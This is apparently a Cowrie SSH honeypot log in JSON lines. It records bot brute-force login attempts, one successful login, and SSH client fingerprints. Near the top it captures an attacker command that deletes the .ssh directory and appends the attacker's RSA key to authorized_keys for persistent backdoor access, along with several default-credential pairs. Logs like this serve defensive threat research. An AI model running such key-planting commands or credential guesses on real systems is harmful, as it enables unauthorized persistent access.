{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:03:34.025017Z","src_ip":"201.6.100.191","session":"ed89207021cf","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:03:34.028622Z","src_ip":"201.6.100.191","session":"ed89207021cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:03:34.162004Z","src_ip":"131.161.219.137","session":"17413c6beb82","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:03:34.171197Z","src_ip":"201.6.100.191","session":"ed89207021cf","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:03:34.482206Z","src_ip":"201.6.100.191","session":"ed89207021cf","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:03:34.485632Z","src_ip":"201.6.100.191","session":"ed89207021cf","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/steam/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:03:34.619887Z","src_ip":"201.6.100.191","session":"ed89207021cf","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:03:34.623873Z","src_ip":"201.6.100.191","session":"ed89207021cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.6.100.191","src_port":45416,"dst_ip":"159.203.135.109","dst_port":22,"session":"6d95519dc7dc","protocol":"ssh","message":"New connection: 201.6.100.191:45416 (159.203.135.109:22) [session: 6d95519dc7dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:03:34.746408Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:03:34.754085Z","src_ip":"201.6.100.191","session":"6d95519dc7dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:03:34.889749Z","src_ip":"201.6.100.191","session":"6d95519dc7dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:03:35.468226Z","src_ip":"201.6.100.191","session":"6d95519dc7dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:03:36.604041Z","src_ip":"201.6.100.191","session":"6d95519dc7dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.6.100.191","src_port":45858,"dst_ip":"159.203.135.109","dst_port":22,"session":"3216b8bcdef0","protocol":"ssh","message":"New connection: 201.6.100.191:45858 (159.203.135.109:22) [session: 3216b8bcdef0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:03:36.733916Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:03:36.741446Z","src_ip":"201.6.100.191","session":"3216b8bcdef0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:03:36.872757Z","src_ip":"201.6.100.191","session":"3216b8bcdef0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"3245gs5662d34","message":"login attempt [steam/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:03:37.430914Z","src_ip":"201.6.100.191","session":"3216b8bcdef0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.6","message":"Connection lost after 4.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:03:37.568990Z","src_ip":"201.6.100.191","session":"ed89207021cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:03:37.574838Z","src_ip":"201.6.100.191","session":"3216b8bcdef0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.97.227.163","src_port":40886,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a7851495fd4","protocol":"ssh","message":"New connection: 181.97.227.163:40886 (10.17.0.5:22) [session: 7a7851495fd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:03:41.396497Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:03:41.401577Z","src_ip":"181.97.227.163","session":"7a7851495fd4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:03:41.611657Z","src_ip":"181.97.227.163","session":"7a7851495fd4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"docker","password":"test123","message":"login attempt [docker/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:03:42.492261Z","src_ip":"181.97.227.163","session":"7a7851495fd4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:03:43.703107Z","src_ip":"181.97.227.163","session":"7a7851495fd4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.158.40.65","src_port":40760,"dst_ip":"159.203.135.109","dst_port":22,"session":"816e6cd0043c","protocol":"ssh","message":"New connection: 103.158.40.65:40760 (159.203.135.109:22) [session: 816e6cd0043c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:03:47.568939Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:03:47.578004Z","src_ip":"103.158.40.65","session":"816e6cd0043c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:03:47.801245Z","src_ip":"103.158.40.65","session":"816e6cd0043c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"deployerpass","message":"login attempt [deployer/deployerpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:03:48.715864Z","src_ip":"103.158.40.65","session":"816e6cd0043c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.125.103.201","src_port":41102,"dst_ip":"10.17.0.5","dst_port":22,"session":"d909230dcc80","protocol":"ssh","message":"New connection: 103.125.103.201:41102 (10.17.0.5:22) [session: d909230dcc80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:03:48.908989Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:03:48.913814Z","src_ip":"103.125.103.201","session":"d909230dcc80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:03:49.150975Z","src_ip":"103.125.103.201","session":"d909230dcc80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:03:49.935390Z","src_ip":"103.158.40.65","session":"816e6cd0043c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Aa123456@","message":"login attempt [ubuntu/Aa123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:03:50.134309Z","src_ip":"103.125.103.201","session":"d909230dcc80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.106.162","src_port":41296,"dst_ip":"10.17.0.5","dst_port":22,"session":"15698b3200e2","protocol":"ssh","message":"New connection: 101.36.106.162:41296 (10.17.0.5:22) [session: 15698b3200e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:03:50.408732Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:03:50.416090Z","src_ip":"101.36.106.162","session":"15698b3200e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:03:50.632873Z","src_ip":"101.36.106.162","session":"15698b3200e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:03:51.376325Z","src_ip":"103.125.103.201","session":"d909230dcc80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"12345abc","message":"login attempt [admin/12345abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:03:51.531368Z","src_ip":"101.36.106.162","session":"15698b3200e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:03:52.751317Z","src_ip":"101.36.106.162","session":"15698b3200e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.69.147","src_port":36038,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d1bbda61224","protocol":"ssh","message":"New connection: 43.173.69.147:36038 (159.203.135.109:22) [session: 2d1bbda61224]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:04:16.398427Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:04:16.405148Z","src_ip":"43.173.69.147","session":"2d1bbda61224","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:04:16.474038Z","src_ip":"43.173.69.147","session":"2d1bbda61224","protocol":"ssh"}
